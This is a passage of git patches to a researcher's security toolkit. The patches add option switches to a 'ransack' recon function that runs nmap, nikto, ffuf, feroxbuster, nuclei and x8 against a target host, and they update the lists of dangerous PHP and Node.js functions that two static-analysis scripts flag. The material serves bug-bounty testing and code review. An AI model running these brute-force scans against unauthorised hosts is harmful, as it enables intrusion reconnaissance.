$DICT_HOME/starter.txt -u $url/FUZZ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$NAME.log + ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $url/FUZZ/ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$NAME.log + nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -exclude-severity info -u $url -o $TMPDIR/s0mbra_recon_nuclei_$NAME.log; done END_TIME=$(date) @@ -264,12 +266,23 @@ recon() { ransack() { HOSTNAME=$1 - if [[ -z $2 ]]; then + # set options: + NMAP=$(echo $2|grep 'nmap'|wc -l) + NIKTO=$(echo $2|grep 'nikto'|wc -l) + VHOSTS=$(echo $2|grep 'vhosts'|wc -l) + FFUF=$(echo $2|grep 'ffuf'|wc -l) + FEROXBUSTER=$(echo $2|grep 'feroxbuster'|wc -l) + NUCLEI=$(echo $2|grep 'nuclei'|wc -l) + X8=$(echo $2|grep 'x8'|wc -l) + + # set proto: + if [[ -z $3 ]]; then PROTO='https' else - PROTO=$2 + PROTO=$3 fi + # setup output directory rm -rf $(pwd)/s0mbra mkdir -vp $(pwd)/s0mbra TMPDIR=$(pwd)/s0mbra @@ -282,24 +295,44 @@ ransack() { onaws $HOSTNAME # nmap - echo -e "\n$GREEN--> nmap (top 100 ports + version discovery + nse scripts)$CLR\n" - nmap --top-ports 100 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_nmap_$HOSTNAME.tmp $HOSTNAME + if [[ $NMAP -eq "1" ]]; then + echo -e "\n$GREEN--> nmap (top 100 ports + version discovery + nse scripts)$CLR\n" + nmap --top-ports 100 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_nmap_$HOSTNAME.tmp $HOSTNAME + fi # nikto - echo -e "\n$GREEN--> nikto (max. 10 minutes) $CLR\n" - nikto -host $PROTO://$HOSTNAME -404code 404,301,302,304 -maxtime 10m -o $TMPDIR/s0mbra_nikto_$HOSTNAME.log -Format txt -useragent "bl4de/HackerOne" - - # vhosts enumeration - ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ.$HOSTNAME" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_fullnames_$HOSTNAME.log + if [[ $NIKTO == "1" ]]; then + echo -e "\n$GREEN--> nikto (max. 10 minutes) $CLR\n" + nikto -host $PROTO://$HOSTNAME -404code 404,301,302,304 -maxtime 10m -o $TMPDIR/s0mbra_nikto_$HOSTNAME.log -Format txt -useragent "bl4de/HackerOne" + fi - ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_$HOSTNAME.log + if [[ $VHOSTS -eq "1" ]]; then + # vhosts enumeration + ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ.$HOSTNAME" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_fullnames_$HOSTNAME.log + + ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_$HOSTNAME.log + fi # ffuf - ffuf -ac -c -w $DICT_HOME/starter.txt -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$HOSTNAME.log - ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $PROTO://$HOSTNAME/FUZZ/ -mc=200,206,301,302,403,422,429,500 -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$HOSTNAME.log - + if [[ $FFUF -eq "1" ]]; then + ffuf -ac -c -w $DICT_HOME/starter.txt -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $PROTO://$HOSTNAME/FUZZ/ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$HOSTNAME.log + fi + + # feroxbuster + if [[ $FEROXBUSTER -eq "1" ]]; then + feroxbuster -f -d 1 --insecure -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" --url $PROTO://$HOSTNAME -w $DICT_HOME/wordlist.txt + fi + # nuclei - nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -exclude-severity info -u $PROTO://$HOSTNAME -o $TMPDIR/s0mbra_nuclei_$HOSTNAME.log + if [[ $NUCLEI -eq "1" ]]; then + nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -exclude-severity info -u $PROTO://$HOSTNAME -o $TMPDIR/s0mbra_nuclei_$HOSTNAME.log + fi + + # x8 + if [[ $X8 -eq "1" ]]; then + x8 -u $PROTO://$HOSTNAME/ -w $DICT_HOME/urlparams.txt -c 10 + fi END_TIME=$(date) echo -e "\n$GREEN[s0mbra] Finished!" @@ -320,13 +353,13 @@ fu() { if [[ $3 == "/" ]]; then # if $3 arg passed to fu equals / - add at the end of the path (for dir enumerations where sometimes # dir path has to end with / to be identified - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc $HTTP_RESP_CODES -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" else # if $3 arg is not /, treat it as file extension to enumerate files: - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$3 -mc $HTTP_RESP_CODES -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$3 -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" fi else - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc $HTTP_RESP_CODES -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" fi echo -e "$BLUE\n[s0mbra] Done! $CLR" } @@ -357,10 +390,10 @@ fufilter() { ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc $HTTP_RESP_CODES -H -fs $3 "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" else # if $3 arg is not /, treat it as file extension to enumerate files: - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$4 -mc $HTTP_RESP_CODES -fs $3 -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$4 -mc $HTTP_RESP_CODES -fs $3 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" fi else - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc $HTTP_RESP_CODES -fs $3 -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc $HTTP_RESP_CODES -fs $3 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" fi echo -e "$BLUE\n[s0mbra] Done! $CLR" } @@ -666,7 +699,7 @@ case "$cmd" in echo -e "$BLUE_BG:: BUG BOUNTY RECON ::\t\t\t\t\t$CLR" echo -e "\t$CYAN lookaround $GRAY[DOMAIN]$CLR\t\t\t\t -> just look around... (subfinder + httpx on discovered hosts)" echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf + nuclei (one tool at the time on all hosts)" - echo -e "\t$CYAN ransack $GRAY[HOST] [PROTO http/https]$CLR\t\t -> bruteforce recon on host: nmap (top 1000 ports) + nikto + ffuf + nuclei" + echo -e "\t$CYAN ransack $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t\t -> recon; options: nmap|nikto|vhosts|ffuf|feroxbuster|nuclei|x8" echo -e "\t$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" From 74f73966e12930b0f1d20d3f606a4c4740e0b954 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 11 Feb 2022 15:37:08 +0000 Subject: [PATCH 265/460] some quick fixes --- enumeratescope.sh | 2 +- s0mbra.sh | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/enumeratescope.sh b/enumeratescope.sh index 0e49ed9..e2c5486 100755 --- a/enumeratescope.sh +++ b/enumeratescope.sh @@ -22,7 +22,7 @@ enumerate_domain() { echo -e "$(date) started enumerate $DOMAIN" >> subdomain_enum.log sublister -d $DOMAIN -o domains/$DOMAIN.sublister subfinder -d $DOMAIN -o domains/$DOMAIN.subfinder - # amass enum -config $HOME/.config/amass/amass.ini -d $DOMAIN -o domains/$DOMAIN.amass + amass enum -config $HOME/.config/amass/amass.ini -d $DOMAIN -o domains/$DOMAIN.amass if [ -s domains/$DOMAIN.sublister ] || [ -s domains/$DOMAIN.amass ] || [ -s domains/$DOMAIN.subfinder ]; then cat domains/$DOMAIN.* > domains/$DOMAIN.all diff --git a/s0mbra.sh b/s0mbra.sh index 09bfb2a..2d47e79 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -699,7 +699,7 @@ case "$cmd" in echo -e "$BLUE_BG:: BUG BOUNTY RECON ::\t\t\t\t\t$CLR" echo -e "\t$CYAN lookaround $GRAY[DOMAIN]$CLR\t\t\t\t -> just look around... (subfinder + httpx on discovered hosts)" echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf + nuclei (one tool at the time on all hosts)" - echo -e "\t$CYAN ransack $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t\t -> recon; options: nmap|nikto|vhosts|ffuf|feroxbuster|nuclei|x8" + echo -e "\t$CYAN ransack $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap|nikto|vhosts|ffuf|feroxbuster|nuclei|x8" echo -e "\t$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" From 63df7daf2ff7a07f0d3cf3fd56136faf70b9b108 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 12 Feb 2022 15:40:45 +0000 Subject: [PATCH 266/460] [enumeratescope] udpate options for amass --- enumeratescope.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/enumeratescope.sh b/enumeratescope.sh index e2c5486..46c4e8b 100755 --- a/enumeratescope.sh +++ b/enumeratescope.sh @@ -22,7 +22,7 @@ enumerate_domain() { echo -e "$(date) started enumerate $DOMAIN" >> subdomain_enum.log sublister -d $DOMAIN -o domains/$DOMAIN.sublister subfinder -d $DOMAIN -o domains/$DOMAIN.subfinder - amass enum -config $HOME/.config/amass/amass.ini -d $DOMAIN -o domains/$DOMAIN.amass + # amass enum -active -norecursive -noalts -d $DOMAIN -o domains/$DOMAIN.amass if [ -s domains/$DOMAIN.sublister ] || [ -s domains/$DOMAIN.amass ] || [ -s domains/$DOMAIN.subfinder ]; then cat domains/$DOMAIN.* > domains/$DOMAIN.all From da748960cdd25c5fb08bc3670d3fe464267a858f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 14 Feb 2022 20:26:35 +0000 Subject: [PATCH 267/460] [s0mbra] ransack(): misc bugfixes and imporvements --- s0mbra.sh | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 2d47e79..6759b1d 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -288,7 +288,7 @@ ransack() { TMPDIR=$(pwd)/s0mbra START_TIME=$(date) - echo -e "$BLUE[s0mbra] Running bruteforced, dirty, noisy as hell recon on $PROTO://$HOSTNAME : nmap + ffuf + nuclei...$CLR" + echo -e "$BLUE[s0mbra] Running bruteforced, dirty, noisy as hell recon on $PROTO://$HOSTNAME \n\t using selected options: $2...$CLR" # onaws echo -e "\n$GREEN--> onaws? $CLR\n" @@ -301,7 +301,7 @@ ransack() { fi # nikto - if [[ $NIKTO == "1" ]]; then + if [[ $NIKTO -eq "1" ]]; then echo -e "\n$GREEN--> nikto (max. 10 minutes) $CLR\n" nikto -host $PROTO://$HOSTNAME -404code 404,301,302,304 -maxtime 10m -o $TMPDIR/s0mbra_nikto_$HOSTNAME.log -Format txt -useragent "bl4de/HackerOne" fi @@ -321,7 +321,7 @@ ransack() { # feroxbuster if [[ $FEROXBUSTER -eq "1" ]]; then - feroxbuster -f -d 1 --insecure -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" --url $PROTO://$HOSTNAME -w $DICT_HOME/wordlist.txt + feroxbuster -f -d 1 --insecure -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" --url $PROTO://$HOSTNAME -w $DICT_HOME/wordlist.txt --output $TMPDIR/s0mbra_feroxbuster_$HOSTNAME.log fi # nuclei @@ -369,8 +369,8 @@ api_fuzz() { echo -e "$BLUE[s0mbra] Fuzzing $1 API with httpie using endpoints file $2...$CLR" for endpoint in $(cat $2); do - https --print=HBh --all --follow POST https://$1/$2 payload=data - https --print=HBh --all --follow PUT https://$1/$2 payload=data + https --print=HBh --all --follow POST https://$1/$endpoint payload=data + https --print=HBh --all --follow PUT https://$1/$endpoint payload=data done echo -e "$BLUE\n[s0mbra] Done! $CLR" @@ -605,7 +605,7 @@ case "$cmd" in recon "$2" ;; ransack) - ransack "$2" "$3" + ransack "$2" "$3" "$4" ;; kiterunner) kiterunner "$2" From bce76f212345e29c578da693a22061739cf8f937 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 15 Feb 2022 18:07:47 +0000 Subject: [PATCH 268/460] [nodestructor] Output refactoring: print filename+line number for quick open in IDE --- nodestructor/nodestructor.py | 18 ++++++++---------- s0mbra.sh | 1 - 2 files changed, 8 insertions(+), 11 deletions(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index 53e3a12..e760bd2 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -3,13 +3,12 @@ # nodestructor # Node.js application static code analysis tool # -# bl4de | bloorq@gmail.com | Twitter: @_bl4de # pylint: disable=W1401 # pylint: disable=C """ nodestructor.py - static code analysis for Node.js applications by bl4de -GitHub: bl4de | Twitter: @_bl4de | hackerone.com/bl4de bloorq@gmail.com +GitHub: bl4de | hackerone.com/bl4de | bloorq AT gmail.com """ @@ -18,13 +17,12 @@ https://attacker-codeninja.github.io/2021-08-24-code-review-notes-from-bug-bounty-bootcamp/ """ -import os + + import re +import os import argparse - from imports.beautyConsole import beautyConsole - - banner = r""" ( ) ) @@ -218,12 +216,12 @@ def show_banner(): print(beautyConsole.getColor("white")) -def printcodeline(_line, i, _fn, _message, _code, verbose): +def printcodeline(_line, i, _fn, _message, _code, verbose, fname=None): """ Formats and prints line of output """ _fn = _fn.replace("*", "").replace("\\", "").replace(".(", '(')[0:len(_fn)] - print(":: line %d :: \33[33;1m%s\33[0m %s " % (i, _fn, _message)) + print("{}:{} :: \33[33;1m{}\33[0m {} ".format(fname, i, _fn, _message)) if verbose: if i > 3: @@ -296,7 +294,7 @@ def perform_code_analysis(src, pattern="", verbose=False): print_filename = False patterns_found_in_file += 1 printcodeline(_line, i, __pattern, - ' code pattern identified: ', _code, verbose) + ' code pattern identified: ', _code, verbose, _file.name) # URL searching if identify_urls == True: @@ -305,7 +303,7 @@ def perform_code_analysis(src, pattern="", verbose=False): # show each unique URL only once if __url not in urls: printcodeline(__url, i, __url, - ' URL found: ', _code, verbose) + ' URL found: ', _code, verbose, _file.name) urls.append(__url) if patterns_found_in_file > 0: diff --git a/s0mbra.sh b/s0mbra.sh index 6759b1d..0a683dc 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -8,7 +8,6 @@ HACKING_HOME="/Users/bl4de/hacking" GRAY='\033[38;5;8m' -GRAY_BG='\033[48;5;8m' RED='\033[1;31m' GREEN='\033[1;32m' LIGHTGREEN='\033[32m' From 68282e2eb93586d852d4c987d27b2553fb12ee17 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 1 Mar 2022 16:28:11 +0000 Subject: [PATCH 269/460] [nodestructor] new patterns added --- nodestructor/nodestructor.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index e760bd2..c36a9e8 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -64,7 +64,9 @@ ".*fork\(", ".*setImmediate\(", ".*newBuffer\(", - ".*\.constructor\(" + ".*\.constructor\(", + ".*mysql\.createConnection\(", + ".*\.query\(", ] npm_patterns = [ From 691cac310fbba50dd25e46f013fac0b4cf62d457 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 4 Mar 2022 12:55:39 +0000 Subject: [PATCH 270/460] [s0mbra] refactoring - rename option to decompile .jar --- s0mbra.sh | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 0a683dc..e697f0c 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -502,7 +502,7 @@ dex_to_jar() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } -decompile_jar() { +unjar() { clear echo -e "$BLUE[s0mbra] Opening $1 in JD-Gui...$CLR" java -jar /Users/bl4de/hacking/tools/Java_Decompilers/jd-gui-1.6.3.jar $1 @@ -651,8 +651,8 @@ case "$cmd" in abe) abe "$2" ;; - decompile_jar) - decompile_jar "$2" + unjar) + unjar "$2" ;; smb_enum) smb_enum "$2" "$3" "$4" @@ -729,7 +729,7 @@ case "$cmd" in echo -e "\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" echo -e "\t$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" echo -e "$BLUE_BG:: RE ::\t\t\t\t\t\t$CLR" - echo -e "\t$CYAN decompile_jar $GRAY[.jar FILE]\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" + echo -e "\t$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" echo -e "$BLUE_BG:: ANDROID ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.apk file in JADX GUI" echo -e "\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR\t\t -> exports .dex file into .jar" From da86b95d839f5fcff7ddc6c8ea73cbaf58c0dba9 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 5 Mar 2022 16:54:03 +0000 Subject: [PATCH 271/460] [s0mbra] added disass to RE commands --- s0mbra.sh | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index e697f0c..c22ecff 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -508,6 +508,13 @@ unjar() { java -jar /Users/bl4de/hacking/tools/Java_Decompilers/jd-gui-1.6.3.jar $1 } +disass() { + clear + echo -e "$BLUE[s0mbra] Disassembling $1, saving to 1.asm..." + objdump -d -x86-asm-syntax=intel $1 > 1.asm + echo -e "\n$BLUE[s0mbra] Done." +} + jadx() { clear echo -e "$BLUE[s0mbra] Opening $1 in JADX...$CLR" @@ -654,6 +661,9 @@ case "$cmd" in unjar) unjar "$2" ;; + disass) + disass "$2" + ;; smb_enum) smb_enum "$2" "$3" "$4" ;; @@ -729,6 +739,7 @@ case "$cmd" in echo -e "\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" echo -e "\t$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" echo -e "$BLUE_BG:: RE ::\t\t\t\t\t\t$CLR" + echo -e "\t$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR\t\t -> disassembels BINARY and saves to 1.asm in the same directory" echo -e "\t$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" echo -e "$BLUE_BG:: ANDROID ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.apk file in JADX GUI" From c93225961e9e9828cd4010c9aba9a985f32d6f5c Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 9 Mar 2022 11:06:58 +0000 Subject: [PATCH 272/460] [pef] remove include( and require( due to large number of false positives --- pef/imports/pefdefs.py | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/pef/imports/pefdefs.py b/pef/imports/pefdefs.py index 3aa0375..63c3ba8 100755 --- a/pef/imports/pefdefs.py +++ b/pef/imports/pefdefs.py @@ -7,12 +7,10 @@ "popen(", "pcntl_exec(", "eval(", - "arse_str(", # use arse_str(, because somehow, parse_str causes "IndexError: list index out of range" o_O + "arse_str(", "parse_url(", "preg_replace(", "create_function(", - "include(", - "require(", "passthru(", "shell_exec(", "popen(", @@ -157,4 +155,4 @@ "INSERT.*INTO", "UPDATE.*", "DELETE.*FROM" -] \ No newline at end of file +] From ac7d71f2f9b4b2713b4e8aba303b33926f61e216 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 9 Mar 2022 11:07:58 +0000 Subject: [PATCH 273/460] [pef] remove include( and require( due to large number of false positives --- pef/imports/pefdocs.py | 12 ------------ 1 file changed, 12 deletions(-) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 4423a84..32d6643 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -53,18 +53,6 @@ "Code Injection, RCE", "medium" ], - "include()": [ - "The include statement includes and evaluates the specified file.", - "", - "Code Injection, RCE", - "high" - ], - "require()": [ - "The include statement includes and evaluates the specified file.", - "", - "Code Injection, RCE", - "high" - ], "passthru()": [ "Execute an external program and display raw output", "passthru ( string $command [, int &$return_var ] ) : void", From cb122f2b9011d5e8493f72cdb3033f0aa19474d8 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 10 Mar 2022 17:45:46 +0000 Subject: [PATCH 274/460] [pef] Added --level argument to define which level of issues should be reported --- pef/pef.py | 89 ++++++++++++++++++++++++++++-------------------------- 1 file changed, 46 insertions(+), 43 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 09a5dcd..a2ac67e 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -42,13 +42,13 @@ class PefEngine: implements pef engine """ - def __init__(self, recursive, verbose, critical, sql, filename, pattern): + def __init__(self, recursive, verbose, level, sql, filename, pattern): """ constructor """ self.recursive = recursive # recursive scan files in folder(s) self.verbose = verbose # show prev/next lines - self.critical = critical # scan only for critical set of functions + self.level = level # scan only for level set of functions self.sql = sql # scan for inline SQL queries self.filename = filename # name of file/folder to scan self.pattern = pattern # pattern(s) to look for, if set @@ -97,7 +97,7 @@ def analyse_line(self, l, i, fn, f, line, prev_line, next_line, prev_prev_line, total += 1 self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, next_line, prev_prev_line, next_next_line, self.severity, - verbose) + verbose, self.level) else: if fn in line or atfn in line: self.header_printed = self.header_print( @@ -105,10 +105,10 @@ def analyse_line(self, l, i, fn, f, line, prev_line, next_line, prev_prev_line, total += 1 self.print_code_line(l, i, fn + (')' if '(' in fn else ''), prev_line, next_line, prev_prev_line, next_next_line, self.severity, - verbose) + verbose, self.level) return total - def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_line="", next_next_line="", severity=None, verbose=False): + def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_line="", next_next_line="", severity="", verbose=False, level='ALL'): """ prints formatted code line """ @@ -118,15 +118,6 @@ def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_li "high": "red" } - if len(_line) > 255: - _line = _line[:120] + \ - f" (...truncated -> line is {len(_line)} characters long)" - if verbose == True: - print("line %d :: \33[33;1m%s\33[0m " % (i, fn)) - else: - print("{}line {} :: {}{} ".format(beautyConsole.getColor( - "white"), i, beautyConsole.getColor("grey"), _line.strip()[:255])) - # print legend only if there i sentry in pefdocs.py if fn and fn.strip() in pefdocs.exploitableFunctionsDesc.keys(): impact = pefdocs.exploitableFunctionsDesc.get(fn.strip())[3] @@ -135,36 +126,46 @@ def print_code_line(self, _line, i, fn, prev_line="", next_line="", prev_prev_li syntax = pefdocs.exploitableFunctionsDesc.get(fn.strip())[1] vuln_class = pefdocs.exploitableFunctionsDesc.get(fn.strip())[2] - if verbose == True: - print("\n {}{}{}".format(beautyConsole.getColor( - "white"), description, beautyConsole.getSpecialChar("endline"))) - print(" {}{}{}".format(beautyConsole.getColor( - "grey"), syntax, beautyConsole.getSpecialChar("endline"))) - print(" Potential impact: {}{}{}".format(beautyConsole.getColor( - impact_color[impact]), vuln_class, beautyConsole.getSpecialChar("endline"))) + if impact.upper() == level.upper() or level == 'ALL': + if len(_line) > 255: + _line = _line[:120] + \ + f" (...truncated -> line is {len(_line)} characters long)" + if verbose == True: + print("line %d :: \33[33;1m%s\33[0m " % (i, fn)) + else: + print("{}line {} :: {}{} ".format(beautyConsole.getColor( + "white"), i, beautyConsole.getColor("grey"), _line.strip()[:255])) + + if verbose == True: + print("\n {}{}{}".format(beautyConsole.getColor( + "white"), description, beautyConsole.getSpecialChar("endline"))) + print(" {}{}{}".format(beautyConsole.getColor( + "grey"), syntax, beautyConsole.getSpecialChar("endline"))) + print(" Potential impact: {}{}{}".format(beautyConsole.getColor( + impact_color[impact]), vuln_class, beautyConsole.getSpecialChar("endline"))) if impact not in severity.keys(): severity[impact] = 1 else: severity[impact] = severity[impact] + 1 - if verbose == True: - print() - if prev_prev_line: - print(str(i-2) + " " + beautyConsole.getColor("grey") + prev_prev_line + - beautyConsole.getSpecialChar("endline")) - if prev_line: - print(str(i-1) + " " + beautyConsole.getColor("grey") + prev_line + - beautyConsole.getSpecialChar("endline")) - print(str(i) + " " + beautyConsole.getColor("green") + _line.rstrip() + - beautyConsole.getSpecialChar("endline")) - if next_line: - print(str(i+1) + " " + beautyConsole.getColor("grey") + next_line + - beautyConsole.getSpecialChar("endline")) - if next_next_line: - print(str(i+2) + " " + beautyConsole.getColor("grey") + next_next_line + + if verbose == True: + print() + if prev_prev_line: + print(str(i-2) + " " + beautyConsole.getColor("grey") + prev_prev_line + + beautyConsole.getSpecialChar("endline")) + if prev_line: + print(str(i-1) + " " + beautyConsole.getColor("grey") + prev_line + + beautyConsole.getSpecialChar("endline")) + print(str(i) + " " + beautyConsole.getColor("green") + _line.rstrip() + beautyConsole.getSpecialChar("endline")) - print() + if next_line: + print(str(i+1) + " " + beautyConsole.getColor("grey") + next_line + + beautyConsole.getSpecialChar("endline")) + if next_next_line: + print(str(i+2) + " " + beautyConsole.getColor("grey") + next_next_line + + beautyConsole.getSpecialChar("endline")) + print() return def main(self, src): @@ -195,8 